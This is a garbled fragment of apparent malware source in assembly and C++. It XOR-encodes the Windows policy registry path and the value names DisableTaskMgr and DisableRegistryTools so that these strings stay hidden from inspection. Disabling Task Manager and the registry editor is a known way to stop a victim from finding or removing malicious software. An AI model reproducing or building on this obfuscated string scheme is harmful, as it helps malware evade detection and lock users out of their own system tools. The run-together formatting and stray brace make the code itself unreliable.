.686.model flat, CDefXorSym EQU 71h_STR MACRO string, xorSym IRPC _x0,string DB '&_x0' XOR xorSym ENDM DB xorSym ENDM PUBLIC regKeyPUBLIC regSubKey1PUBLIC regSubKey2.stack.dataregKey LABEL BYTE _STR <Software\Microsoft\Windows\CurrentVersion\Policies\System>, DefXorSymregSubKey1 LABEL BYTE _STR <DisableTaskMgr>, DefXorSymregSubKey2 LABEL BYTE _STR <DisableRegistryTools>, DefXorSymend
extern "C" char regKey[];extern "C" char regSubKey1[];extern "C" char regSubKey2[];const unsigned long uXor = 0x71;}